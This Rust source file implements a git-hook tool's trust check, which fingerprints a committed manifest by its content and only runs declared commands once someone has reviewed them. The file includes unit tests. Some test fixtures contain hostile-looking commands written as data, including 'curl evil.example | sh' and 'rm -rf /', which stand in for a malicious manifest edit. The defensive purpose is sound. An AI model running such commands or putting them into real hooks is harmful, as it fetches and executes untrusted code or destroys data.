greengate_runtime/trust.rs
1//! Whether this repository's `amont.conf` may run.
2//!
3//! `amont.conf` is committed, which is the point — a team shares a check by
4//! committing it. The consequence is that cloning a repository and committing to
5//! it would otherwise run commands that repository chose, and neither of those
6//! acts is one anybody performs as a decision about trust. Reviewing a diff
7//! before running it is; nothing asked for that.
8//!
9//! So the manifest is inert until somebody says otherwise, and the record is
10//! keyed on the FILE'S CONTENT rather than its path: a `git pull` that adds a
11//! command does not inherit the consent given to the file before it.
12//!
13//! ## Why `git hash-object` and not a hash of our own
14//!
15//! `amont` links no external crates (`scripts/check-no-deps.sh`), and the
16//! only hash in `std` is `DefaultHasher` — SipHash with a fixed key, which is
17//! not collision-resistant and would let a crafted manifest match a trusted
18//! one's fingerprint. Writing SHA-256 by hand is a hundred lines nobody would
19//! review as carefully as they should.
20//!
21//! `git` is already a hard dependency of every path in this binary, and
22//! `git hash-object` is the identity git itself uses for content. It is SHA-1
23//! (or SHA-256 in a repository configured for it), which is not a strong
24//! guarantee against a determined attacker with a chosen-prefix collision — but
25//! it is enormously better than SipHash, costs no dependency, and a user can
26//! reproduce it by hand to check what they trusted:
27//!
28//! ```text
29//! $ git hash-object --no-filters amont.conf
30//! ```
31//!
32//! `--no-filters` is not decoration. Without it git applies the clean filter
33//! and eol conversion that the repository's own committed `.gitattributes`
34//! asks for — so the repository would be choosing the transform its consent is
35//! taken through, and two manifests this parser reads differently can be given
36//! the same id. Consent is bound to the bytes we PARSE.
37
38use crate::names::BIN;
39use std::path::Path;
40
41use crate::ui::valid_sign;
42
43/// Where the decision is recorded. Local, never committed — a repository must
44/// not be able to declare itself trusted.
45///
46/// MULTI-VALUED, and that is the whole point. `--local` config is shared by every
47/// worktree of a repository, so a single value meant worktrees fought over it:
48/// trusting one checkout made every other checkout on a different branch report
49/// `TRUSTED ONCE, AND CHANGED SINCE`, and its declared checks stop running until
50/// somebody re-trusts — which then breaks the first one. With one worktree per
51/// task, as `git worktree` workflows have, the record never settles.
52///
53/// A set fixes it without moving the record anywhere, because trust here has
54/// always been keyed on CONTENT rather than on place: the question is "have these
55/// exact bytes been reviewed", and the answer does not depend on which checkout is
56/// asking. Two worktrees with the same amont.conf need one acceptance between
57/// them; two with different manifests hold one entry each.
58///
59/// The cost, stated plainly: reverting a manifest to bytes accepted earlier no
60/// longer asks again, where a single-valued record would have. That is the
61/// definition working as written — those bytes WERE reviewed — but it is a
62/// weaker guarantee than before, and [`KEEP`] bounds how far back it reaches.
63///
64/// `--worktree` config was the other candidate. It needs
65/// `extensions.worktreeConfig=true` on the repository, which is amont writing a
66/// repo-wide git setting other tools also read, to fix a problem of its own.
67pub const KEY: &str = "greengate.trusted";
68
69/// Content id of `path`, as git would compute it.
70///
71/// `--no-filters`, because consent is bound to CONTENT and the content that
72/// matters is the bytes we PARSE. Plain `git hash-object` applies the clean
73/// filter and eol conversion configured by the repository's own committed
74/// `.gitattributes` — so a repo that declares `amont.conf ident` (or
75/// `text eol=crlf`) chooses the transform its fingerprint is taken through,
76/// and two manifests we would parse differently can hash identically. The
77/// binding was to content-after-a-repo-controlled-transform.
78pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
79 crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
80}
81
82/// The same identity, for bytes already in hand.
83///
84/// `--stdin` is never filtered, so this names exactly the buffer given to it.
85/// Used where the caller has read the file and is about to act on THAT read:
86/// hashing the path again would be a second read, and the two can differ.
87pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
88 crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
89}
90
91/// What the repository has recorded, if anything.
92pub fn recorded(repo: &Path) -> Vec<String> {
93 crate::git::stdout_in(repo, &["config", "--local", "--get-all", KEY])
94 .map(|out| {
95 out.lines()
96 .map(str::trim)
97 .filter(|l| !l.is_empty())
98 .map(str::to_string)
99 .collect()
100 })
101 .unwrap_or_default()
102}
103
104#[derive(Debug, Clone, Copy, PartialEq, Eq)]
105pub enum State {
106 /// No manifest. The overwhelmingly common case, and it must cost nothing.
107 NoManifest,
108 /// Trusted, and the file still has the bytes that were trusted.
109 Trusted,
110 /// Never trusted here.
111 Untrusted,
112 /// Trusted once, and edited since. Distinct from `Untrusted` because the
113 /// message should say which happened — "somebody changed it" is a different
114 /// thing to tell a reader than "you have not looked at this yet".
115 Changed,
116}
117
118/// Decide whether `repo`'s manifest may run.
119pub fn state(repo: &Path) -> State {
120 let manifest = repo.join(crate::manifest::manifest_name(repo));
121 if !manifest.is_file() {
122 return State::NoManifest;
123 }
124 let Some(current) = fingerprint(repo, &manifest) else {
125 // Cannot compute it, so cannot claim it matches.
126 return State::Untrusted;
127 };
128 verdict(repo, ¤t)
129}
130
131/// The same decision, about bytes the caller already holds.
132///
133/// For anyone who has read the manifest and is about to act on THAT read.
134/// Re-opening the file to decide whether the first read may run is two reads of
135/// something that can change in between, and the whole point of the record is
136/// that it names the content being executed.
137pub fn state_of(repo: &Path, source: &[u8]) -> State {
138 let Some(current) = fingerprint_bytes(repo, source) else {
139 return State::Untrusted;
140 };
141 verdict(repo, ¤t)
142}
143
144fn verdict(repo: &Path, current: &str) -> State {
145 let seen = recorded(repo);
146 if seen.iter().any(|s| s == current) {
147 State::Trusted
148 } else if seen.is_empty() {
149 State::Untrusted
150 } else {
151 State::Changed
152 }
153}
154
155/// Record the manifest as it stands now.
156pub fn record(repo: &Path) -> Result<String, String> {
157 let manifest = repo.join(crate::manifest::manifest_name(repo));
158 let fp = fingerprint(repo, &manifest)
159 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
160 record_verified(repo, &fp)?;
161 Ok(fp)
162}
163
164/// Record `fp` as trusted, but ONLY if the manifest still hashes to it.
165///
166/// The gap this closes: `describe()` prints the manifest, then — in
167/// `install::offer_trust` — `confirm()` blocks on a keypress, sometimes for
168/// several seconds, before anything is recorded. A plain re-hash at that
169/// point trusts whatever is on disk THEN, which is not necessarily what was
170/// shown; a file changed in that window would be trusted without ever having
171/// been reviewed, which is the exact thing this module exists to prevent.
172/// Callers fingerprint what they show BEFORE asking, and pass that same
173/// value here — verified again, not merely assumed, once the answer is in.
174pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
175 let manifest = repo.join(crate::manifest::manifest_name(repo));
176 let now = fingerprint(repo, &manifest)
177 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
178 if now != fp {
179 return Err(format!(
180 "{} changed since it was shown — nothing was trusted; run `{BIN} trust` again to review it",
181 crate::manifest::manifest_name(repo)
182 ));
183 }
184 // Already accepted — adding it again would grow the list for nothing.
185 if recorded(repo).iter().any(|s| s == fp) {
186 return Ok(());
187 }
188 let ok = crate::git::stdout_in(repo, &["config", "--local", "--add", KEY, fp]).is_some();
189 if !ok {
190 return Err(format!("cannot record {KEY} in this repository"));
191 }
192 prune(repo);
193 Ok(())
194}
195
196/// Forget it.
197pub fn revoke(repo: &Path) -> Result<(), String> {
198 // `--unset-all` exits 5 when the key is absent, which is not a failure here.
199 // ALL of them: revoking means this repository trusts nothing, and leaving a
200 // sibling worktree's fingerprint behind would mean `--revoke` did not.
201 let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset-all", KEY]);
202 Ok(())
203}
204
205/// How many accepted fingerprints to keep.
206///
207/// One per checkout that is currently on a different branch is the shape this
208/// serves, plus a little history. Unbounded, `.git/config` would grow a line per
209/// edit of the manifest, forever.
210const KEEP: usize = 16;
211
212/// Trim the oldest entries once the list is longer than [`KEEP`].
213///
214/// Best-effort by design: the new value was already added before this runs, so a
215/// failure here leaves a list that is correct and merely longer than intended,
216/// never one that has lost the fingerprint somebody just accepted.
217fn prune(repo: &Path) {
218 let all = recorded(repo);
219 if all.len() <= KEEP {
220 return;
221 }
222 let keep: Vec<String> = all[all.len() - KEEP..].to_vec();
223 if crate::git::stdout_in(repo, &["config", "--local", "--unset-all", KEY]).is_none() {
224 return;
225 }
226 for fp in keep {
227 let _ = crate::git::stdout_in(repo, &["config", "--local", "--add", KEY, &fp]);
228 }
229}
230
231/// The reason an external does not run, phrased for the check's own report.
232pub fn why(state: State) -> Option<&'static str> {
233 match state {
234 State::NoManifest | State::Trusted => None,
235 // This text is the `reason` value of `list --json`.
236 State::Untrusted => {
237 Some("declared in an untrusted greengate.conf — review it, then `greengate trust`")
238 }
239 State::Changed => {
240 Some("greengate.conf changed since it was trusted — review it, then `greengate trust`")
241 }
242 }
243}
244
245/// Show what the manifest declares, so the decision is made with it in view.
246///
247/// Printing the lines is the whole point: "trust this file" is not a question
248/// anybody can answer without seeing it, and a prompt that does not show it is
249/// a prompt that trains people to press y.
250pub fn describe(repo: &Path) -> String {
251 describe_source(
252 &std::fs::read_to_string(repo.join(crate::manifest::manifest_name(repo)))
253 .unwrap_or_default(),
254 )
255}
256
257/// The same listing, rendered from text the caller already read.
258///
259/// So that what is SHOWN and what is FINGERPRINTED come from one read. Two
260/// reads of a file somebody is deciding about can disagree, and the decision
261/// would then be recorded about bytes nobody was shown.
262pub fn describe_source(text: &str) -> String {
263 use std::fmt::Write;
264 let mut out = String::new();
265 let lines = crate::manifest::parse_lines(text);
266 // Policy and tool-pin lines are rendered as their own blocks below —
267 // they are not checks, and running them through the check table printed
268 // them as `! broken`, which told the person consenting that something
269 // was WRONG with the very lines they were being asked to approve.
270 let (checks, rest): (Vec<_>, Vec<_>) = lines.into_iter().partition(|l| l.is_check());
271 for line in checks {
272 let (name, stage, parsed) = line.into_parts();
273 // Every field here is repo-controlled, and this is the text somebody
274 // is about to say yes to. Sanitised BEFORE the padding, so the column
275 // widths are computed on what is actually printed — an escape sequence
276 // is zero columns wide and would silently shift the alignment even if
277 // it did nothing worse. See `ui::sanitize` for what a concealed
278 // declaration bought.
279 let name = crate::ui::sanitize(&name);
280 match parsed {
281 Ok(declared) => {
282 let _ = writeln!(
283 out,
284 " {name:<14} {:<10} {}",
285 stage.as_str(),
286 crate::ui::sanitize(&declared.command())
287 );
288 }
289 Err(why) => {
290 let _ = writeln!(
291 out,
292 " {name:<14} {:<10} ! {}",
293 stage.as_str(),
294 crate::ui::sanitize(&why.to_string())
295 );
296 }
297 }
298 }
299 let pins: Vec<String> = rest
300 .iter()
301 .filter_map(|l| match l {
302 crate::manifest::Line::Tool(pin) => {
303 Some(format!("tool {} {}", pin.program, pin.want))
304 }
305 _ => None,
306 })
307 .collect();
308 let policy: Vec<String> = rest
309 .iter()
310 .filter_map(|l| match l {
311 crate::manifest::Line::Policy { what, .. } => Some(what.describe()),
312 _ => None,
313 })
314 .collect();
315 if !policy.is_empty() {
316 let _ = writeln!(out, " and sets policy for built-in checks:");
317 for p in policy {
318 let _ = writeln!(out, " {}", crate::ui::sanitize(&p));
319 }
320 }
321 let tree: Vec<String> = rest
322 .iter()
323 .filter_map(|l| match l {
324 crate::manifest::Line::Tree(gate) => Some(format!(
325 "{:<14} {:<10} {}",
326 gate.name,
327 gate.tool.as_str(),
328 gate.command
329 )),
330 _ => None,
331 })
332 .collect();
333 if !tree.is_empty() {
334 let _ = writeln!(
335 out,
336 " and declares whole-tree gates (run at commit, never decide it):"
337 );
338 for t in tree {
339 let _ = writeln!(out, " {}", crate::ui::sanitize(&t));
340 }
341 }
342 if !pins.is_empty() {
343 let _ = writeln!(out, " and pins tool versions (verified, warn-only):");
344 for p in pins {
345 let _ = writeln!(out, " {}", crate::ui::sanitize(&p));
346 }
347 }
348 out
349}
350
351/// A yes/no on the terminal, or `false` when there is nobody to ask.
352///
353/// Reads `/dev/tty` rather than stdin: git hands a hook a pipe, and a prompt
354/// that read stdin would consume something else's input. Same reason
355/// `package-lock` does it, and the third copy of this is where it becomes a
356/// shared function.
357#[cfg(unix)]
358pub fn confirm(prompt: &str) -> bool {
359 use std::io::{BufRead, BufReader};
360 let Ok(tty) = std::fs::File::open("/dev/tty") else {
361 return false;
362 };
363 // A prompt is talk, never data: on stderr, so it shows when stdout is
364 // redirected and the question is still asked on the terminal. Rust's
365 // stderr is unbuffered, so nothing needs flushing before the read.
366 eprint!("{prompt}");
367 let mut line = String::new();
368 if BufReader::new(tty).read_line(&mut line).is_err() {
369 return false;
370 }
371 matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
372}
373
374/// `CONIN$` is the console's `/dev/tty`: it reaches the keyboard even when
375/// something else holds stdin. Before this, Windows always declined —
376/// `amont trust` could never be granted interactively there, so every
377/// declared check spent its life politely disabled for the Windows
378/// minority of a team.
379///
380/// **Gated on stdin actually being a console**, which is the whole
381/// difference between this and `/dev/tty`. Opening `/dev/tty` FAILS with no
382/// controlling terminal, so unix gets its "nobody to ask" answer for free;
383/// `CONIN$` opens whenever the process has a console at all — which a CI
384/// runner does — and then blocks forever on a read nobody will answer.
385/// That is not hypothetical: it hung four install tests until the Windows
386/// job timed out, at 20 minutes, the first time this shipped without the
387/// gate. A redirected stdin (git handing a hook a pipe, a test using
388/// `Stdio::null()`, a script piping input) therefore declines, exactly as
389/// before — the prompt is for a human who typed a command, and a human who
390/// typed a command has a console on stdin.
391#[cfg(windows)]
392pub fn confirm(prompt: &str) -> bool {
393 use std::io::{BufRead, BufReader};
394 if !stdin_is_a_console() {
395 return false;
396 }
397 let Ok(con) = std::fs::File::open("CONIN$") else {
398 return false;
399 };
400 // A prompt is talk, never data: on stderr, so it shows when stdout is
401 // redirected and the question is still asked on the terminal. Rust's
402 // stderr is unbuffered, so nothing needs flushing before the read.
403 eprint!("{prompt}");
404 let mut line = String::new();
405 if BufReader::new(con).read_line(&mut line).is_err() {
406 return false;
407 }
408 matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
409}
410
411/// Whether stdin is a real console rather than a pipe, a file, or `NUL`.
412///
413/// `GetConsoleMode` succeeds only for a console handle — the standard way
414/// to ask on Windows, and one kernel32 call, so this stays dependency-free
415/// like the signal handler in `staged_only`.
416#[cfg(windows)]
417fn stdin_is_a_console() -> bool {
418 const STD_INPUT_HANDLE: u32 = -10i32 as u32;
419 #[link(name = "kernel32")]
420 extern "system" {
421 fn GetStdHandle(which: u32) -> *mut std::ffi::c_void;
422 fn GetConsoleMode(handle: *mut std::ffi::c_void, mode: *mut u32) -> i32;
423 }
424 let mut mode = 0u32;
425 unsafe {
426 let handle = GetStdHandle(STD_INPUT_HANDLE);
427 if handle.is_null() {
428 return false;
429 }
430 GetConsoleMode(handle, &mut mode) != 0
431 }
432}
433
434/// Neither `/dev/tty` nor a console: nobody to ask, which declines.
435#[cfg(not(any(unix, windows)))]
436pub fn confirm(_prompt: &str) -> bool {
437 false
438}
439
440/// `amont trust [--show|--revoke]`.
441pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
442 // Refuse rather than fall back to ".". Trust is RECORDED per repository,
443 // keyed by the root this resolves to, so a "." root outside a repository
444 // meant `amont trust` in `~` would read `~/amont.conf`, show its
445 // declarations, and record trust for them — against a repository that does
446 // not exist, in a state no later `amont trust --revoke` would find.
447 let root = crate::hooks::common::repo_root_checked()?;
448 let root = Path::new(&root);
449 let flag = |f: &str| args.iter().any(|a| a == f);
450
451 if flag("--revoke") {
452 revoke(root)?;
453 eprintln!(
454 "{} {} is no longer trusted here",
455 valid_sign(),
456 crate::manifest::manifest_name(root)
457 );
458 return Ok(());
459 }
460
461 let state = state(root);
462 // `--show` alone answers with data on stdout; everything else this
463 // command says (the listing it asks a person to accept, the verdict,
464 // "nothing to do") is talk, on stderr, so one output never spans two
465 // streams.
466 if state == State::NoManifest {
467 eprintln!("no {} in this repository", crate::manifest::MANIFEST);
468 return Ok(());
469 }
470
471 if flag("--show") {
472 println!("{}", crate::manifest::manifest_name(root));
473 print!("{}", describe(root));
474 println!(
475 " {}",
476 match state {
477 State::Trusted => "trusted here",
478 State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
479 _ => "not trusted here — not running",
480 }
481 );
482 return Ok(());
483 }
484
485 if state == State::Trusted {
486 eprintln!("{} already trusted, unchanged", valid_sign());
487 return Ok(());
488 }
489
490 // One read: the bytes shown are the bytes fingerprinted, and
491 // `record_verified` then confirms they are still the bytes on disk. Read
492 // twice, and the listing somebody approved need not be what got recorded.
493 let manifest_file = crate::manifest::manifest_name(root);
494 let manifest = root.join(manifest_file);
495 let source =
496 std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
497 let fp = fingerprint_bytes(root, &source)
498 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
499 eprintln!("{manifest_file} declares:");
500 eprint!("{}", describe_source(&String::from_utf8_lossy(&source)));
501 record_verified(root, &fp)?;
502 eprintln!("{} trusted ({fp})", valid_sign());
503 Ok(())
504}
505
506#[cfg(test)]
507mod tests {
508 use super::*;
509
510 fn repo(name: &str) -> std::path::PathBuf {
511 let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
512 let _ = std::fs::remove_dir_all(&d);
513 std::fs::create_dir_all(&d).unwrap();
514 std::process::Command::new("git")
515 .args(["init", "-q", "--template=", "."])
516 .current_dir(&d)
517 .output()
518 .expect("git");
519 d
520 }
521
522 fn write_manifest(dir: &Path, body: &str) {
523 std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
524 }
525
526 /// Ninety-six repositories have no manifest. That must be free and silent.
527 #[test]
528 fn no_manifest_is_not_a_trust_question() {
529 let d = repo("none");
530 assert_eq!(state(&d), State::NoManifest);
531 assert_eq!(why(State::NoManifest), None);
532 let _ = std::fs::remove_dir_all(&d);
533 }
534
535 #[test]
536 fn a_manifest_starts_untrusted() {
537 let d = repo("new");
538 write_manifest(&d, "pre-commit a * block echo hi\n");
539 assert_eq!(state(&d), State::Untrusted);
540 let _ = std::fs::remove_dir_all(&d);
541 }
542
543 #[test]
544 fn recording_makes_it_trusted() {
545 let d = repo("record");
546 write_manifest(&d, "pre-commit a * block echo hi\n");
547 record(&d).expect("record");
548 assert_eq!(state(&d), State::Trusted);
549 let _ = std::fs::remove_dir_all(&d);
550 }
551
552 /// The property the whole design turns on: consent is to CONTENT, so a
553 /// `git pull` that adds a command cannot inherit it.
554 #[test]
555 fn editing_the_manifest_revokes_trust() {
556 let d = repo("edit");
557 write_manifest(&d, "pre-commit a * block echo hi\n");
558 record(&d).expect("record");
559 assert_eq!(state(&d), State::Trusted);
560
561 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
562 assert_eq!(
563 state(&d),
564 State::Changed,
565 "a manifest edited after trusting must not still be trusted"
566 );
567 // And it says which happened, because "you have not looked at this" is
568 // a different sentence to "somebody changed it".
569 assert!(why(State::Changed).expect("reason").contains("changed"));
570 let _ = std::fs::remove_dir_all(&d);
571 }
572
573 /// The TOCTOU `record_verified` exists to close: `install::offer_trust`
574 /// fingerprints what it showed, waits on a keypress, then must not trust
575 /// whatever is on disk by the time the answer comes back if that is not
576 /// what was actually shown.
577 #[test]
578 fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
579 let d = repo("changed-mid-confirm");
580 write_manifest(&d, "pre-commit a * block echo hi\n");
581 let manifest = d.join(crate::manifest::MANIFEST);
582 let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
583
584 // The file is rewritten in the window a real confirm() would have
585 // been blocking on a keypress.
586 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
587
588 let err = record_verified(&d, &shown_fp).expect_err("must refuse");
589 assert!(err.contains("changed"), "{err}");
590 assert_eq!(
591 state(&d),
592 State::Untrusted,
593 "the rewritten content must not end up trusted"
594 );
595 let _ = std::fs::remove_dir_all(&d);
596 }
597
598 /// The ordinary path still works: nothing changed, so the fingerprint
599 /// shown is the fingerprint recorded.
600 #[test]
601 fn record_verified_accepts_a_manifest_that_did_not_change() {
602 let d = repo("unchanged");
603 write_manifest(&d, "pre-commit a * block echo hi\n");
604 let manifest = d.join(crate::manifest::MANIFEST);
605 let fp = fingerprint(&d, &manifest).expect("fingerprint");
606 record_verified(&d, &fp).expect("record");
607 assert_eq!(state(&d), State::Trusted);
608 let _ = std::fs::remove_dir_all(&d);
609 }
610
611 #[test]
612 fn revoking_returns_it_to_untrusted() {
613 let d = repo("revoke");
614 write_manifest(&d, "pre-commit a * block echo hi\n");
615 record(&d).expect("record");
616 revoke(&d).expect("revoke");
617 assert_eq!(state(&d), State::Untrusted);
618 // Twice is not an error: `git config --unset` exits 5 on a missing key.
619 revoke(&d).expect("revoke again");
620 let _ = std::fs::remove_dir_all(&d);
621 }
622
623 /// The bug this file was changed for.
624 ///
625 /// `--local` config is shared by every worktree, so with a single value the
626 /// two checkouts below take turns invalidating each other and neither ever
627 /// settles. Both manifests were reviewed; both must stay accepted.
628 #[test]
629 fn two_worktrees_with_different_manifests_do_not_evict_each_other() {
630 let d = repo("worktrees");
631 let a = "pre-commit a * block echo a\n";
632 let b = "pre-commit b * block echo b\n";
633
634 write_manifest(&d, a);
635 record(&d).expect("accept a");
636 assert_eq!(state(&d), State::Trusted);
637
638 // the sibling worktree, on another branch, accepts its own manifest
639 write_manifest(&d, b);
640 record(&d).expect("accept b");
641 assert_eq!(state(&d), State::Trusted);
642
643 // and the first one is STILL trusted — this is what used to say Changed
644 write_manifest(&d, a);
645 assert_eq!(
646 state(&d),
647 State::Trusted,
648 "accepting a second manifest evicted the first"
649 );
650 let _ = std::fs::remove_dir_all(&d);
651 }
652
653 /// A manifest nobody ever accepted is still Changed, not Trusted: the set
654 /// must not turn into "anything goes once you have trusted one thing".
655 #[test]
656 fn an_unseen_manifest_is_still_changed() {
657 let d = repo("unseen");
658 write_manifest(&d, "pre-commit a * block echo a\n");
659 record(&d).expect("record");
660 write_manifest(&d, "pre-commit evil * block curl example.com\n");
661 assert_eq!(state(&d), State::Changed);
662 let _ = std::fs::remove_dir_all(&d);
663 }
664
665 /// Revoke means this repository trusts nothing — not "all but the sibling's".
666 #[test]
667 fn revoke_clears_every_accepted_fingerprint() {
668 let d = repo("revoke-all");
669 write_manifest(&d, "pre-commit a * block echo a\n");
670 record(&d).expect("a");
671 write_manifest(&d, "pre-commit b * block echo b\n");
672 record(&d).expect("b");
673 revoke(&d).expect("revoke");
674 assert!(recorded(&d).is_empty(), "revoke left a fingerprint behind");
675 assert_eq!(state(&d), State::Untrusted);
676 write_manifest(&d, "pre-commit a * block echo a\n");
677 assert_eq!(state(&d), State::Untrusted);
678 let _ = std::fs::remove_dir_all(&d);
679 }
680
681 /// Accepting the same bytes twice must not grow the list.
682 #[test]
683 fn re_accepting_the_same_manifest_is_idempotent() {
684 let d = repo("idempotent");
685 write_manifest(&d, "pre-commit a * block echo a\n");
686 record(&d).expect("once");
687 record(&d).expect("twice");
688 assert_eq!(recorded(&d).len(), 1);
689 let _ = std::fs::remove_dir_all(&d);
690 }
691
692 /// The list is bounded, or `.git/config` grows a line per manifest edit
693 /// forever.
694 #[test]
695 fn the_accepted_list_is_capped() {
696 let d = repo("capped");
697 for i in 0..KEEP + 5 {
698 write_manifest(&d, &format!("pre-commit a{i} * block echo {i}\n"));
699 record(&d).expect("record");
700 }
701 assert_eq!(recorded(&d).len(), KEEP);
702 // the most recent survives, the oldest does not
703 assert_eq!(state(&d), State::Trusted);
704 write_manifest(&d, "pre-commit a0 * block echo 0\n");
705 assert_eq!(state(&d), State::Changed);
706 let _ = std::fs::remove_dir_all(&d);
707 }
708
709 /// Reproducible by hand, which is the point of using git's own identity.
710 #[test]
711 fn the_fingerprint_is_git_hash_object() {
712 let d = repo("fp");
713 write_manifest(&d, "pre-commit a * block echo hi\n");
714 let manifest = d.join(crate::manifest::MANIFEST);
715 let ours = fingerprint(&d, &manifest).expect("fingerprint");
716 let theirs = String::from_utf8_lossy(
717 &std::process::Command::new("git")
718 .args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
719 .current_dir(&d)
720 .output()
721 .expect("git")
722 .stdout,
723 )
724 .trim()
725 .to_string();
726 assert_eq!(ours, theirs);
727 let _ = std::fs::remove_dir_all(&d);
728 }
729 /// A repository must not choose the transform its own consent is taken
730 /// through.
731 ///
732 /// `.gitattributes` is committed, so the repo picks the clean filter; plain
733 /// `git hash-object` applies it. With one that collapses everything to a
734 /// constant, two manifests this parser reads DIFFERENTLY are given the same
735 /// id — so a trusted fingerprint would cover content nobody reviewed.
736 #[test]
737 fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
738 let d = repo("filter");
739 std::fs::write(d.join(".gitattributes"), "amont.conf filter=flatten\n")
740 .expect("write attributes");
741 let ok = std::process::Command::new("git")
742 .args(["config", "--local", "filter.flatten.clean", "echo same"])
743 .current_dir(&d)
744 .status()
745 .map(|s| s.success())
746 .unwrap_or(false);
747 if !ok {
748 return; // no git to configure; nothing to assert
749 }
750 let manifest = d.join(crate::manifest::MANIFEST);
751
752 write_manifest(&d, "pre-commit a * block echo one\n");
753 let filtered_a = raw_hash(&d, &manifest);
754 let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
755
756 write_manifest(&d, "pre-commit b * block rm -rf /\n");
757 let filtered_b = raw_hash(&d, &manifest);
758 let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
759
760 // The collision has to EXIST before its absence means anything. A
761 // clean filter is an external program run through git's own shell, and
762 // whether `echo` resolves that way is the platform's business, not
763 // ours — Git for Windows does not collapse these. Say so and stop,
764 // rather than report a fixture that would not build as a defect in the
765 // code under test. `an_eol_conversion_cannot_...` below covers the same
766 // property with no external program involved and runs everywhere.
767 if filtered_a != filtered_b {
768 println!(
769 "! clean filters do not apply here — collision not reproducible, \
770 see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
771 );
772 return;
773 }
774 assert_ne!(
775 ours_a, ours_b,
776 "the fingerprint followed a repo-controlled filter"
777 );
778 }
779
780 /// The same property, with git's own eol conversion instead of an external
781 /// filter — so it holds on every platform.
782 ///
783 /// `.gitattributes` is COMMITTED, so the repository chooses the conversion.
784 /// Under `text eol=lf`, git's clean step normalises CRLF to LF, and two
785 /// files differing only in line endings hash identically. That is a weaker
786 /// lever than a clean filter (the parser reads both the same way), but it
787 /// is the same mistake: the id names content-after-a-repo-controlled
788 /// transform rather than the bytes we read.
789 #[test]
790 fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
791 let d = repo("eol");
792 std::fs::write(d.join(".gitattributes"), "amont.conf text eol=lf\n")
793 .expect("write attributes");
794 let manifest = d.join(crate::manifest::MANIFEST);
795
796 // Byte-different, line-ending-identical-after-normalisation.
797 std::fs::write(&manifest, b"pre-commit a * block echo one\r\n").expect("crlf");
798 let filtered_crlf = raw_hash(&d, &manifest);
799 let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
800
801 std::fs::write(&manifest, b"pre-commit a * block echo one\n").expect("lf");
802 let filtered_lf = raw_hash(&d, &manifest);
803 let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
804
805 if filtered_crlf != filtered_lf {
806 println!("! eol conversion does not apply here — collision not reproducible");
807 return;
808 }
809 assert_ne!(
810 ours_crlf, ours_lf,
811 "the fingerprint followed a repo-controlled eol conversion"
812 );
813 }
814
815 fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
816 String::from_utf8_lossy(
817 &std::process::Command::new("git")
818 .args(["hash-object", manifest.to_str().unwrap()])
819 .current_dir(dir)
820 .output()
821 .expect("git")
822 .stdout,
823 )
824 .trim()
825 .to_string()
826 }
827}